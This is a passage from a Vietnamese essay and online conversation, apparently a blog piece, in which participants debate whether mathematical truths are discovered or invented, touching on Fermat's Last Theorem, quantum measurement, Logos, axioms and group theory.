tuổi tác làm cơ sở.</div> <div> </div> <div> <strong>Dẫn chuyện</strong></div> <div> </div> <div> Galileo – cha đẻ của khoa học hiện đại – cho rằng “Tự nhiên là cuốn sách được viết bởi ngôn ngữ Toán học”. Tất cả những định luật của khoa học tự nhiên đều được phát biểu dưới dạng những biểu diễn toán học như các phương trình, các bất đẳng thức.</div> <div> </div> <div> Tính đúng đắn của các phương trình, rộng hơn là các quan hệ toán học, trong điều kiện biên xác định, được thừa nhận là bất biến. Vì thế, chúng được gọi là những sự thật toán học. Điều này đôi khi dẫn đến ngộ nhận: chân lý khoa học là bất biến vì các sự thật toán học là bất biến.</div> <div> </div> <div> Chính tính bất biến của các sự thật toán học là nền tảng vững chắc cho việc xây dựng tòa lâu đài tri thức của con người về giới tự nhiên. Nếu tính bất biến của các sự thật toán học không còn nữa, thì tòa lâu đài tri thức này không có cách nào đứng vững được.</div> <div> </div> <div> Vì thế, tìm hiểu về bản chất của sự thật toán học chính là tìm hiểu bản chất tri thức của con người.</div> <div> </div> <div> Sự thật toán học chỉ có được khi xuất phát từ những sự thật toán học đã biết hoặc những tiên đề được cho rằng hiển nhiên đúng, thông qua một quá trình suy luận logic chặt chẽ.</div> <div> Sự tiến bộ của Toán học, vì thế trong một chừng mực nào đó có thể nói là chậm hơn so với những tiến bộ mang tính cách mạng của những ngành khoa học khác như Vật lý, Sinh học, Tin học… Nhưng đổi lại, những tri thức mà nó thu được có tính bền vững đến độ vĩnh cửu. Không ai có thể nghi ngờ rằng Định lý Pythagoras lại không đúng trong một triệu năm sau nữa. Còn những lý thuyết của các ngành khoa học khác rất dễ bị thay thế bởi những lý thuyết khác đúng đắn hơn sau đó, có thể trong khoảng thời gian của một đời người hoặc thậm chí chỉ trong vài năm.</div> <div> </div> <div> Đó cũng là một phần của lý do vì sao các nhà toán học thường kiên trì giải những bài toán có khi ra đời từ hàng trăm năm về trước. Khi làm những việc đó, họ biết rằng đó là những vấn đề vĩnh cửu và tri thức họ thu được cũng sẽ là vĩnh cửu.</div> <div> </div> <div> Chính tính vĩnh cửu của những sự thật toán học đã làm cho công việc của các nhà toán học đặc thù hơn so với công việc của các nhà khoa học khác. Họ phải tuân thủ một qui trình suy luận logic nghiêm ngặt, thay vì thiết kế thí nghiệm, quan sát, đo đạc và so sánh kết quả với tính toán như các nhà khoa học khác thường làm.</div> <div> </div> <div> Chỉ những kết quả thu được từ quá trình suy luận logic nghiêm ngặt này mới được coi là sự thật toán học và đúng mãi với thời gian: từ lúc người ta tìm ra chúng và mãi sau này.</div> <div> </div> <div> Nhưng trước khi người ta tìm ra những sự thật toán học này thì sao? Chẳng hạn, trước khi có con người thì định lý Pythagoras có tồn tại không?</div> <div> </div> <div> Dù không có số liệu thông kê chính thức, nhưng rất nhiều nhà toán học tin một phần hoặc toàn bộ vào sự tồn tại của thế giới những sự thật toán học. Để minh họa điều này, hãy xem xét hai ví dụ: Định lý Fermat lớn và Tập hợp Mandelbrot.</div> <div> </div> <div> Định lý Fermat lớn được Fermat (1601-1665) ghi trên lề của một cuốn sách Arithmetica gần 400 năm về trước, đại ý: phương trình xn+yn=zn không có nghiệm nguyên khác không với n>2. Ở bên lề của cuốn sách, ông có ghi thêm rằng: tôi đã tìm ra cách chứng minh rất tuyệt. Nhưng vì lề sách quá hẹp nên không thể viết ra đây! Nhưng phải mất 358 năm, và làm đau đầu biết bao thế hệ toán học tài năng, định lý này mới được chứng minh bởi Wiles, nhà toán học Anh, năm 1994.</div> <div> </div> <div> Vậy trước khi Wiles chứng minh được định lý này, thì nó có đúng không? Thậm chí giả sử Fermat không viết ra lề sách định lý đó, hoặc bản thân Fermat không được sinh ra ở trên đời, thì định lý đó có tồn tại không?</div> <div> </div> <div> Tập hợp Mandelbrot cũng là một minh chứng rõ ràng cho sự tồn tại độc lập của những sự thật toán học. Được phát hiện bởi Mandelbrot năm 1980 nhưng ban đầu bản thân Mandelbrot cũng không ý thức được hết sự phức tạp của nó. Vậy thì, sự tồn tại của nó có phải là độc lập, khách quan với đầu óc con người?</div> <div> </div> <div> Hai ví dụ này, và vô số những ví dụ khác, dẫn đến một kết luận không dễ bắt bẻ là: những sự thật toán học là có thật và tồn tại độc lập với đầu óc con người, trong một thế giới riêng của nó. Chúng có đời sống và những mối liên hệ tự thân mà con người không thể thay đổi được.</div> <div> </div> <div> Nhưng những kí hiệu toán học chỉ được phát minh trong khoảng vài trăm năm trở lại đây, ví dụ dấu bằng (=) không tồn tại trước thế kỉ 16. Vậy là những phương trình toán học như ta vẫn thấy không thể tồn tại trước thế kỉ 16, do đó, sự tồn tại khách quan của thế giới những sự thật toán học như nhiều nhà toán học nhận định là không có thật. Đó cũng là một lập luận không dễ bắt bẻ.</div> <div> </div> <div> <strong>Tán gẫu qua mạng</strong></div> <div> </div> <div> Dương - Như vậy, sự thật toán học liệu có tồn tại độc lập với đầu óc con người?</div> <div> </div> <div> Châu – Câu hỏi mà Dương đặt ra là một câu hỏi dằn vặt nhiều nhà toán học. Làm toán là một quá trình khám phá (discovery) hay là một quá trình sáng tạo (invention)? Phần đông các nhà toán học nghiêng về câu trả lời thứ nhất: làm toán là một quá trình khám phá. Con người không sáng tạo ra sự thật toán học, mà chỉ khám phá ra nó thôi. Tức là cái sự thật đó đã tồn tại ở đâu đó rồi, chỉ đợi con người đến khám phá.</div> <div> </div> <div> Lập luận của phe “khám phá” là dựa vào sự “đồng thuận” cao trong toán học. Một định lý đã được chứng minh thì không thể phủ nhận được nữa. Vì toán học không phụ thuộc vào một cá nhân cụ thể của một nhà toán học nào, nên có nhiều khả năng, nó có sự tồn tại độc lập.</div> <div> Phe “sáng tạo” thì cho rằng toán học cũng chỉ là sản phẩm của bộ não người mà thôi.</div> <div> </div> <div> Phe “ba phải”, trong đó có mình, thì cho rằng (định nghĩa) toán học là công cụ (ngôn ngữ) để bộ não người nắm bắt thế giới bên ngoài một cách có hệ thống. Suy từ định nghĩa ra thì nó không thể tồn tại nếu không tồn tại bộ não người (mệnh đề này là rỗng vì giả thiết sai), nhưng nó lại phải chịu thuộc tính của cái nằm ngoài bộ não người.</div> <div> </div> <div> Nói thế cũng có lý, nhưng người nghe vẫn chưa thấy thích.</div> <div> </div> <div> Thực ra đây vấn chỉ là cách xê dịch vấn đề, và phủ thêm một lớp lý luận. Nhưng nó dẫn dắt ta đến một câu hỏi thực sự thú vị, theo mình thì thú vị hơn câu hỏi “khám phá” hay “sáng tạo”: đó là tại sao toán học lại phát triển phần lớn bởi cái logic nội tai của nó, tại sao nó lại tỏ ra hữu hiệu đến thế trong việc mô tả thiên nhiên. Vậy thì cái logic là cái con người lựa chọn hay là cái bị thiên nhiên áp đặt ?</div> <div> </div> <div> Minh - Đây là câu chuyện rất thú vị trong Triết học, câu chuyện “tri thức khách quan”. Thiền án đặt ra là con nhện cứ tưởng mình dệt lưới theo ý mình thích, hóa ra lại theo “tri thức khách quan”. Con người tưởng nói năng lung tung được, hóa ra lại theo “ngữ pháp”, thực chất là một trong các dạng biểu đạt của cấu trúc logic khách quan?</div> <div> </div> <div> Dương – Em cũng nghiêng về cách nhìn “ba phải”, nên mới có câu hỏi là trước khi các kí hiệu toán học (ngôn ngữ toán học) ra đời thì sao. Có lẽ các sự thật toán học chỉ là các mô hình của thực tại. Nhưng cách thức tồn tại và phát triển của toán học làm người ta nghi ngại nhận định này.</div> <div> </div> <div> Về sự phát triển theo logic nội tại của Toán học, liệu có sự tương đồng với một quá trình tự diễn biến nào trong giới tự nhiên không? Nếu có thì có thể dùng một mô hình Vật lý nào đó để khảo sát? Còn nữa, liệu bản chất của việc tìm kiếm các sự thật toán học có thể giải thích theo kiểu “phép đo” trong cơ học lượng tử?</div> <div> </div> <div> Trong Cơ học lượng tử, trạng thái của một hệ vi mô được mô tả bởi hàm sóng là chồng chập của tất các các trạng thái khả dĩ. Khi phép đo được tiến hành, hệ co về một trạng thái duy nhất ứng với kết quả của phép đo. Điều này liệu có điểm gì tương đồng với các sự thật toán học trong giả thiết sau: trước khi được khám phá ra thì thế giới các sự thật toán học ở trạng thái chồng chập đúng-sai, bất định-xác định… cho đến khi được một nhà toán học tiến hành “đo đạc” bằng cách tiến hành những thao tác suy luận logic để chứng minh hoặc phủ nhận một giả thiết toán học nào đó. Trạng thái của sự thật toán học khi đó sẽ co sập lại về tương ứng với kết quả của chứng minh giống như trạng thái của hệ vi mô co sập lại về tương ứng với phép đo trong cơ học lượng tử? Nói cách khác: chính tư duy của nhà toán học đã tạo ra sự thật toán học, giống như phép đo trong cơ học lượng tử đã tạo ra tính chất của hệ vi mô dưới dạng mô tả được?</div> <div> </div> <div> Như thế, một sự thật toán học được tìm ra cũng giống như kết quả của phép đo: vừa mang tính chủ quan, vừa mang tính khách quan, biểu hiện ở chỗ: sự thật toán học là sản phẩm của quá trình tư duy của nhà toán học, nhưng lại nghiệm đúng một cách khách quan và vĩnh viễn sau khi đã được tìm ra? Câu hỏi còn lại là liệu sự thật toán học có mang tính xác suất – bất định như trong cơ học lượng tử?</div> <div> </div> <div> Và hơn nữa, là vì sao bằng tư duy – “phép đo” của mình – con người lại có thể tìm ra những sự thật toán học này?</div> <div> </div> <div> Em có linh cảm là việc tìm kiếm các sự thật toán học và phép đo trong cơ học lượng tử rất gần nhau. Nhưng chỉ là linh cảm thôi, chưa có bằng chứng gì cả.</div> <div> </div> <div> Còn về câu chuyện “tri thức khách quan”, thì đó không chỉ là tri thức có khách quan, mà còn là bản chất của tri thức, nguồn gốc và mối liên hệ của nó với thực tại. Tất nhiên điều này cũng sẽ dẫn đến câu hỏi thực tại là gì và mối liên hệ của nó với tri thức như thế nào, làm sao mà con người lại có thể nhận thức được chúng, nhận thức đó liệu có khách quan hay hoàn toàn chủ quan hay là hỗn hợp của hai thứ đó.</div> <div> </div> <div> Rõ ràng cuộc đối thoại này đã bước ra khỏi phạm vi của các sự thật toán học và tiến tới một lĩnh vực khác: bản chất của thực tại và mối liên hệ của nó với các biểu diễn toán học. Trước khi những kí hiệu và khái niệm toán học được phát minh ra thì các hệ thức toán học như chúng ta thấy bây giờ không tồn tại, nhưng các mối liên hệ của tự nhiên, như trái đất quay xung quanh mặt trời một vòng hết 365 ngày, vẫn tồn tại dù không được biểu diễn bởi các phương trình. Vấn đề đặt ra – hóc búa– là mối quan hệ của thực tại với các mô hình toán học thực sự là gì?</div> <div> </div> <div> Trong trường hợp này, sự thật toán học được chọn như một ví dụ của tri thức. Ngôn ngữ cũng là một ví dụ tốt để xem xét.</div> <div> </div> <div> Minh - Anh nhìn nhận Logos là cái tính năng tràn khắp vũ trụ, cho nên ta và con mèo hiểu nhau rất dễ, và cái trái cây khi chưa sẵn sàng để phát tán hạt thì vẫn giữ màu lá cây để tự vệ và khuyên nhủ các loài “hãy kệ tôi đã”.</div> <div> </div> <div> Riêng xem trong thế giới thực vật và sinh vật muôn loài, ta đã thấy muôn vàn các quá trình trao đổi thông tin, anh từng đặt chữ là “giao tin”, thực hiện được, vậy là dựa vào đâu? Vào tính logos phổ quát.</div> <div> </div> <div> “Sự thật toán học” được Dương nói đến ở trên đây như những kết quả được xây dựng từ những tiên đề toán học “qua một quá trình suy luận logic chặt chẽ”. Như thế chính ở đây ta thừa nhận hệ thống các thuộc tính-quan hệ logic như một hệ thống công cụ có tính tiền đề. </div> <div> </div> <div> “Sự thật logic” như vậy còn tồn tại “trước” cả “sự thật toán học”. “Trước” không phải về không gian, thời gian vật lý, mà về mặt.. logic!</div> <div> </div> <div> Chuyện vui, nếu nhà toán học lạc vào trong rừng mà gặp phải con hổ, con hổ sẽ hiểu nhà toán học hơn cả nhà toán học hiểu chính mình trong địa hạt này… Con hổ sẽ lừa cho nhà toán học toát mồ hôi, toát ngu muội, và nhà toán học chỉ còn biết trông chờ vào may mắn! Tại sao? Vì cả hai cùng với giới tự nhiên đều cùng chia sẻ cái logos phổ quát về không gian, thời gian, về nhân quả, về luận lý, và cả về tâm lý! Và con hổ thì hiểu logos của thánh địa của nó hơn nhà toán học, hiểu cả rằng nó nhanh nhẹn, mạnh mẽ, và khôn ngoan trong săn bắt hơn chính nhà toán học!</div> <div> </div> <div> Ý niệm về “Đạo” của Lão, Trang có gần gũi với Logos. Nhưng yếu kém của “Đạo” là chưa ý thức được cái năng lực siêu phàm trong cái thần của Logos, là dạng thức (forms) – ở ta hay dịch là “hình thức”, cái chữ dễ bị hiểu nhầm nôm na thành như “bề ngoài”. Nhờ hiểu biết về tầm quan trọng vô cùng của dạng thức mà các hiểu biết về logic và toán học phát triển được lên.</div> <div> </div> <div> Nghiên cứu về logic, theo mình thì không có cái gọi là môn “logic nội dung” chọi với “logic hình thức”! Đó chỉ là sự diễn nôm hời hợt. Chỉ có một môn logic, và đó chính là logic dạng thức. Các bộ môn nghiên cứu ứng dụng logic không phải là “logic khác”, mà là các nghiên cứu ứng dụng logic mở ra trong các miền tri thức, các ứng dụng này không phải là các lựa chọn khả thay thế. Ví dụ như “modal logic” là môn nghiên cứu ứng dụng về tình thái ngữ nghĩa trong ngôn ngữ…</div> <div> </div> <div> Phát hiện về dạng thức là nền tảng cho sự phát triển có tính xây dựng được của nền văn minh tinh thần! Khi bạn đang đọc bài trao đổi này, bạn không “đọc” một cuộc thảo luận nguyên trạng, mà đọc cái đã dạng thức hóa của nó qua các “nguyên tử” ký tự (chữ cái, gồm cả các dấu nghỉ, cảm thán, khoảng trắng, cùng “dấu xuống dòng”, dấu chuyển hồi đoạn, dấu chấm hết … gọi chúng là “nguyên tử” vì các nhân tố này là nhỏ nhất trong hệ thống, không còn chẻ ra tiếp được nữa) đã được cấu trúc hóa theo các qui tắc ngữ pháp. Nói theo logic, các ký tự hợp thành hệ thống các ký hiệu, và việc áp dụng hệ các qui tắc nối kết vào các ký hiệu làm nên các công thức (từ, liên từ, đoạn, câu…), chúng được cắt nghĩa và vận động trong một hệ thống luận suy. Xa xôi hơn, bạn đang đọc được một dãy mã hóa “sắc không”, “âm dương”, “0 và 1”, được đại diện bởi các xung điện. Và cuối cùng, chính bạn phải làm cả một cuộc cắt nghĩa toàn bộ dãy mã này trong văn hóa khoa học tiếng Việt để “cảm hiểu” bài trao đổi.</div> <div> </div> <div> Cũng cần nói rõ là cái ý niệm “sắc không”, “âm dương” trong triết học cổ phương Đông chỉ là một khởi điểm của ý tưởng về các đối cực, chứ không hề liên quan gì đến việc phát triển của khoa máy tính sau này. Vì để có ý tưởng mã hóa tất thảy các hiện tượng chỉ từ hai trạng thái để lợi dụng được các xung điện, phải hiểu ra và phát triển được cái logos “dạng thức”, phát triển logic, toán học để xây dựng nên được ngôn ngữ dạng thức và hệ thống các thuật toán, để rồi có thể công nghệ hóa, tự động hóa chúng. Dãy các trạng thái “0 và 1” còn phải chứa hệ thống các cấu trúc để cho phép gắn kết chúng như thế nào trong quá trình vào mã và giải mã các thông tin. Các nhà Đông học tuyệt đối không có gì để vơ quàng sĩ diện ở đây.</div> <div> Cái tiếp theo của câu chuyện nói ở trên là cái nhìn triết học về “khách quan- chủ quan”, “vật chất- tinh thần”.</div> <div> </div> <div> Ở ta lâu nay người ta nhìn vấn đề này không theo tầng tinh thần triết học, mà theo cảm hứng dân dã, “lập trường”. Nên nhìn nhận rất chân thành rằng ở ta không có căn bản truyền thống về tinh thần văn hóa triết học – logic.</div> <div> </div> <div> Câu chuyện vật chất – tinh thần, cái nào “có trước”, cần nói rõ là “có trước về mặt triết học-logic”, là vấn đề lựa chọn.</div> <div> </div> <div> Ví dụ khi bạn chấp nhận “vật chất có trước tinh thần”, bạn dùng cái gì để “xác nhận” nó ? Bạn dùng chính tinh thần bạn!</div> <div> </div> <div> Nếu bạn không dùng tinh thần của bạn để công nhận “vật chất có trước tinh thần”, thì bạn quả là siêu nhiên! Bạn lại dùng “tinh thần vũ trụ” chăng?</div> <div> </div> <div> Như vậy sự công nhận về sự tồn tại của thế giới bên ngoài, “có trước”, độc lập với tinh thần con người, là vấn đề phương pháp, vấn đề lựa chọn tiên đề, chứ không có và không thể có vấn đề “đúng sai” theo nghĩa triết học ở đây.</div> <div> </div> <div> Cái rắc rối tiếp theo là liệu có một cái “logos phổ quát bên ngoài tinh thần con người” hay không?</div> <div> </div> <div> Cái này cũng thuộc về tiên đề triết học nốt. Phải lựa chọn.</div> <div> </div> <div> Và nếu bạn muốn hiểu “sự thật logic”, “sự thật toán học” như một “tri thức khách quan” thì đó cũng là một lựa chọn.</div> <div> </div> <div> Tri thức tiến lên nhiều khi không phải chỉ do “lập luận thông minh đơn thuần”. Lập luận không làm tiến hóa hệ thống. Lập luận chỉ củng cố hoặc mở rộng hệ thống, nếu hệ thống tỏ ra vẫn chuẩn xác (chưa bị rơi vào tự mâu thuẫn), hoặc ngược lại làm nó lụi tàn, nếu hệ thống không chịu nổi các thử thách về logic. Tri thức tiến lên còn do sự quyết đoán lựa chọn, tiêu biểu là việc lựa chọn các tiên đề. Người biết lựa chọn các tiên đề tất nhiên không phải người tầm thường. Sự lựa chọn là một cách mở rộng hoặc đổi thay hệ thống với những rủi ro và đột biến tiến hóa.</div> <div> </div> <div> Einstein đã lựa chọn tiên đề tốc độ ánh sáng là tốc độ cực đại trong vũ trụ chẳng hạn, điều vượt quá đa phần các bộ óc con người (trong đó tất nhiên có mình ! ;-) ).</div> <div> </div> <div> Sự lựa chọn việc tồn tại “logos khách quan” cũng có những cơ sở của nó. Giản đơn nếu như nhà toán học mà quên cho con mèo ăn, thì con mèo sẽ biết làm cho nhà toán học phải hiểu ra bằng được điều đó và cho nó ăn mà thôi.</div> <div> </div> <div> Lựa chọn sự tồn tại “tri thức khách quan” không có nghĩa là bạn đã có nó! Mà bạn hy vọng có thể phát hiện ra nó, đạt được nó như những tri thức cơ sở. Hơn thế nữa, từ những tri thức cơ sở đó bạn có thể xây dựng những tri thức mới trong khi tuân thủ những “tri thức khách quan về logic” – những tri thức chưa bị bác bỏ được. Nhìn chung tri thức luôn có cả hai mặt phát hiện và sáng chế. Như cái công nghệ thông tin phục vụ bạn đây là thuộc về sáng chế, có thế ta mới xem được những bức ảnh chụp bề mặt sao Hỏa rõ mồn một.</div> <div> </div> <div> Tất nhiên bạn có thể chọn tiên đề “không có tri thức khách quan”.</div> <div> </div> <div> Lựa chọn chỉ là phương pháp. Bạn “tự do” trong lựa chọn. Vấn đề là sự lựa chọn đó đưa bạn đi đến đâu, bạn phải đảm trách sự lựa chọn của mình. Cho nên ý thức triết học nhắn ta phải luôn luôn sẵn sàng nhìn lại những tiên đề của mình.</div> <div> </div> <div> Tam giác triết học – logic – toán học thật hấp dẫn và trong tầng sâu thẳm chúng trộn vào nhau. Hãy xem vài trường hợp sau:</div> <div> </div> <div> Lý thuyết tập hợp hình thành là một sự cộng sinh tuyệt đẹp của triết học, logic và toán học.</div> <div> </div> <div> Tỉ như dãy số tự nhiên 0,1,2…n… thực ra không hề “tự nhiên”, mà lần đầu tiên được xây dựng và cắt nghĩa hoàn chỉnh qua các khái niệm triết học-logic-toán học trong lý thuyết tập hợp.</div> <div> </div> <div> Tập rỗng là tập không chứa phần tử nào, ký hiệu “tập 0”. Đây là một tiên đề có tính triết học về mối tương sinh của tồn tại-hư vô, về “khởi thủy”. Không thể tranh luận gì được ở đây.</div> <div> </div> <div> Tập chứa đơn thuần tập rỗng, kí hiệu “tập 1”.</div> <div> </div> <div> Tập chứa “tập 0” và “tập 1”, ký hiệu “tập 2”, v.v.</div> <div> </div> <div> Và như thế ta có một dãy trật tự hóa, mỗi yếu tố trong dãy này là một tập hợp mà các phần tử của mình chính là tất cả các yếu tố- tập hợp đứng trước nó.</div> <div> </div> <div> Vui chuyện, ta có thể tự an ủi rằng cái ý thức của cá nhân mình khi chưa hình thành thì là một tập rỗng. Dần dà nó phát triển lên thật phong phú. Còn khi ta ra đi, ý thức của ta lại trở về là tập rỗng.</div> <div> </div> <div> Hay lấy một ví dụ khác, một quan hệ logic thuần, đơn giản hóa.</div> <div> </div> <div> Cho A, B, C,…Z là những thành tố của một tập hợp “đồng chất” (cùng một lĩnh vực).</div> <div> </div> <div> “Tính bắc cầu” là một quan hệ logic, ký hiệu R, được hiểu: R(A, B) & R(B, C) à R(A, C). Nghĩa là nếu quan hệ bắc cầu tồn tại giữa A và B, và nếu quan hệ bắc cầu đó cũng tồn tại giữa B và C thì ta có quan hệ bắc cầu này giữa A và C.</div> <div> </div> <div> Bây giờ nếu ta có thêm R(C, D) thì ta sẽ có R(A, D), vì ở trên ta đã có R(A,C). Phép chứng minh là một phép co rút hay quy giản tìm được khi áp dụng liên tục các quy tắc suy luận xác thực trên dãy các tiên đề và công thức đã được chứng minh: R(A, B) & R(B, C) à R(A, C); R(A, C) & R(C,D) à R(A, D).</div> <div> </div> <div> Vậy khi phải tính toán, nếu có R(A,B) & R(B,C) & R(C,D) & … & R(Y,Z) thì R(A,Z) có tồn tại hay không, công việc logic này đã thành công việc của toán học. Để gửi cái e-mail từ Chử Đồng Tử tới Tiên Dung, tri thức logic-toán học đã khách quan hóa trong các phần mềm ở các máy chủ sẽ tính xem gửi các gói thông tin này qua các nút máy nào để tính bắc cầu được thực hiện hiệu quả nhất.</div> <div> </div> <div> Và ở chỗ này, bằng chứng của sự lựa chọn “tri thức khách quan” là sức mạnh hiển nhiên: tri thức logic-toán học ở con người đã được chuyển ra ngoài, đây chính là nội dung của khái niệm “tha hóa” mà mình đã từng nói tới, chuyển thành “tri thức khách quan”, hoạt động tự động trong các máy tính! Đó chính là giá trị của sự lựa chọn triết học! Ngày mai bạn có thể được phẫu thuật bằng máy móc điều khiển do một bác sĩ ở phần bên kia địa cầu thông qua internet, và bạn đành phải tin vào tri thức khách quan nằm giữa bạn và ông bác sĩ!</div> <div> </div> <div> Cũng từ đây cho ta thấy cải cách và tiến bộ xã hội là có thể, vì tri thức, trong đó có các lý tưởng nhân văn xác quyết, có thể dần chuyển được ra “xã hội bên ngoài”, làm nên nền văn minh. Và kết thúc được cái xã hội chủ quan luẩn quẩn “con rắn cắn đuôi”, mãi mãi làm lại từ đầu!</div> <div> </div> <div> “Sự thật” hay “chân lý” về mặt triết học-logic là như sau: một biểu đạt, một hệ thống các biểu đạt (hay công thức), rộng nữa là một lý thuyết, có thỏa mãn bảng giá trị chân lý hay không.</div> <div> </div> <div> Nhưng bản thân cái bảng giá trị này, sâu xa về triết học-logic, thì lại không liên quan gì đến chân lý! Nó có đó do sự lựa chọn. Giống như các tiên đề vậy. Như thế chính triết học luôn cảnh tỉnh ta về sự lựa chọn của mình, thay vì băn khoăn và mắc tóc trong chính sự không ý thức về những lựa chọn đã được thực hiện.</div> <div> </div> <div> Về văn hóa thì chuyện này lại càng thú vị nữa. Con người lớn lên và được tắm trong cả “một biển các giá trị chân lý mẹ truyền”! Không có tư duy triết học, con người loay hoay mắc tóc trong đó đời này sang đời khác, đặt những câu hỏi không vào sâu được hơn cái lớp bao bì chân lý mẹ truyền này, và như ta thường hay thấy, người ta tấm tắc “các cụ nói cấm câu nào sai”! Nếu bạn để ý một chút thôi, thì cái biển chân lý này bao giờ cũng chứa tất cả các mệnh đề trái ngược nhau, tỉ như “một giọt máu đào, hơn một ao nước lã” chọi với “bán anh em xa, mua láng giềng gần”. Các lý thuyết cai trị cổ hủ cũng thường rơi vào tình huống này, do vừa cố mở rộng độ biên của ứng dụng, vì đời sống phong phú lên, lại vừa cố bảo trì các tiền đề cũ kĩ. Một cộng đồng muốn tiến lên, phải làm một cuộc tổng kiểm kê về cái bảng các giá trị này, để mà mình ý thức về chúng, để mà mình sẵn sàng được cảnh tỉnh về chúng, để mà mình có thể thay đổi chúng. Việc này không hề dễ tí nào, tương tự như việc quả táo rơi xuống đất tưởng đã hiển nhiên là chân lý, mà hóa ra lại chỉ là một nửa chân lý như Newton đã nhìn ra!</div> <div> </div> <div> Trong tương quan với các lĩnh vực cụ thể, các quan hệ logic như thế nằm ở tầm “cao hơn chân lý”, “trước chân lý” của những lĩnh vực đó… luôn luôn về mặt logic thôi. Về hình ảnh các quan hệ logic đã dạng thức hóa này tồn tại “trước” khi bị “nhúng vào” trong “các trường nhất định”, “các cư dân nhất định”. Ta tạm gọi các quan hệ này «ở ngoài vật thể” hay “trước vật thể”, chú ý, theo nghĩa… logic!</div> <div> </div> <div> Ví dụ quan hệ logic bắc cầu đã nói trên kia R: R(A, B) & R(B, C) à R(A, C) là một dạng thức quan hệ logic thuần.</div> <div> </div> <div> Chỉ khi “nhúng” quan hệ này vào các “trường sự vật» cụ thể, ở đó mới đẻ ra vấn đề chân lý cụ thể, hay gọi là vấn đề cắt nghĩa trên “một trường sự vật”.</div> <div> </div> <div> Trong cái thế giới sự vật “hệ thống tàu điện”, tính bắc cầu này thỏa mãn chân lý.</div> <div> </div> <div> Trong lĩnh vực “yêu mến”, tính bắc cầu không bắt buộc thỏa mãn chân lý. A yêu mến B, B yêu mến C, không tất yếu A yêu mến C. Ở đây việc triển khai tính bắc cầu mang tính bất định, “có thể bị bác bỏ”.</div> <div> </div> <div> Lưu ý rằng tính bắc cầu không nhất thiết thỏa mãn chân lý trong lĩnh vực “yêu mến”, không có nghĩa là tính bắc cầu “sai” về logic thuần túy. Chuyện đó không có nghĩa. Nói thế để ta thấy rõ hơn tầng logic nằm “trước và ngoài” tầng các sự vật cụ thể.</div> <div> </div> <div> Nói chuyện nhiều khi một xã hội Á Đông cứ loay hoay tranh cãi hàng ngàn năm rằng cái “mô hình” xã hội Nghiêu Thuấn “vua sáng tôi hiền, nhà nhà đi ngủ không phải đóng cửa, người người ra đường không ai nhặt của rơi” tự nó đúng hay sai? Câu hỏi đó vô nghĩa và vô ích về mặt vận hành xã hội. Hãy gác việc phân tích kinh viện cái “mô hình” siêu giản siêu thuần túy đó sang một bên, chưa cần thiết. Hãy cắt nghĩa khi áp dụng cái mô hình “logic” đó vào xã hội ở thời điểm lịch sử nhất định, ta đã có tư liệu lịch sử hàng ngàn năm rồi, xem nó có đảm bảo đưa lại thái bình no đủ vui tươi bền vững hay không ? Nếu là “không”, thì nó là sai theo bảng giá trị được chờ đợi trong cái trường lịch sử đó, và ta không phải lo lựa chọn nó.</div> <div> </div> <div> Vấn đề Dương có thể đẩy lên thú vị hơn nữa, là Logos có tồn tại độc lập được với vật thể không? Ví dụ với các lực hấp dẫn đã được tính toán đó, sự tồn tại của bản thân các vật thể có còn là bắt buộc không, hay các vật thể chỉ còn là sự thể hiện và mách bảo cho ta cái Logos. Các công thức tính toán theo nghĩa nào đó đã được “phi vật thể hóa”. Nhà thiết kế một tòa nhà nay có các tri thức khách quan đã được “tha hóa”, chuyển hóa ra và nằm sẵn trong phần mềm máy tính, và anh ta có thể chọn vật liệu xây dựng sau cùng cũng được, miễn là các vật liệu đó thỏa mãn mô hình logic-toán đã được xác quyết bằng các công thức đã được cài đặt trong phần mềm, chúng cho thấy thỏa mãn các tiêu chí được chờ đợi (bảng các giá trị) về độ bền vững, an toàn, giá trị thẩm mỹ, tiện nghi, môi trường, bảo trì, thương mại…</div> <div> </div> <div> Trong lập trình công nghệ tin học, một chương trình được viết thông minh là chương trình độc lập cao với dữ liệu, và nó chứa đựng hệ thống xử lý thông minh và khả năng giao tiếp phong phú. Khi phải ứng dụng cho các hoạt động khác nhau, ta mới cho nó giao tiếp với hệ thống các thông số của các lĩnh vực hoạt động liên quan, để nó tìm ra các ứng xử thích hợp cho các đối tượng của các lĩnh vực đó…</div> <div> </div> <div> Châu – Mình đồng ý là đem cọ sát các cách suy nghĩ khác nhau từ Triết, Toán đến Vật lý có thể đưa ta đi xa. Nhưng theo kinh nghiệm, ánh sáng không lóe ra từ cái cách áp đặt máy móc mô hình suy nghĩ của bên này qua bên kia. Ánh sáng luôn lóe ra từ những sự tương đồng tinh tế, mà mình phải thực sự tìm thì mới thấy. Những điểm tinh tế đó thường là nằm ở dưới lớp vỏ của ngôn ngữ.</div> <div> </div> <div> Sự hình thành của khái niệm nhóm trong toán rất đáng để suy nghĩ từ quan điểm Triết học. Mình có viết nhiều mẩu trên blog về chuyện này nhưng ít ai để ý.</div> <div> </div> <div> Định nghĩa của nhóm đơn giản đến mức có thể làm những người tò mò thất vọng. Nó mô phỏng các biến đổi nội tại của một đối tượng. Hai biến đổi có thể “hợp thành với nhau”, nhưng biến đổi A xảy ra trước biến đổi B kết hợp lại sẽ khác với khi biến đổi B xảy ra trước biến đổi A. Ngoài ra thì mọi biến đổi đểu nghịch đảo được, tức là có một biến đổi theo chiều ngược lại. Các tiên đề về nhóm đại khái chỉ có vậy.</div> <div> </div> <div> Ví dụ cơ bản là các thao tác trên khối rubik. Có thao tác A là quay mặt bên trái một góc 90 độ, có một thao tác B là quay mặt trên một góc 90 độ. Có hai thao tác hợp thành A rồi B và B rồi A. Ngoài ra thì có thao tác nghịch đảo của A, nghĩa là quay mặt bên trái một góc 90 độ theo chiều ngược lại so với A.</div> <div> </div> <div> Nhóm các thao tác trên rubik là một nhóm hữu hạn nhưng có rất nhiều phần tử và khá phức tạp. Vì thế mà khi ta xem hướng dẫn cách quay rubik, nói chung mình chỉ biết chấp hành thôi, còn không hiểu tại sao phải làm như thế. Muốn hiểu phải nghiên cứu tường tận cấu trúc của nhóm này.</div> <div> </div> <div> Bên cạnh các nhóm hữu hạn, rộng hơn là các nhóm rời rạc, ta còn có các nhóm liên tục.</div> <div> </div> <div> Điển hình là nhóm các phép dời trong không gian. Hình học cổ điển có thể biên soạn lại dưới ngôn ngữ của nhóm các phép dời hình trong mặt phẳng hoặc trong không gian. Đó chính là quan điểm của hình học hiện đại. Lý thuyết phương trình đại số một ẩn số được Galois giải thích một cách thấu đáo bằng lý thuyết nhóm Galois. Một trong những cố gắng chính của lý thuyết số hiện đại là mở rộng lý thuyết Galois ra hệ phương trình đại số nhiều ẩn số. Langlands tiên đoán một 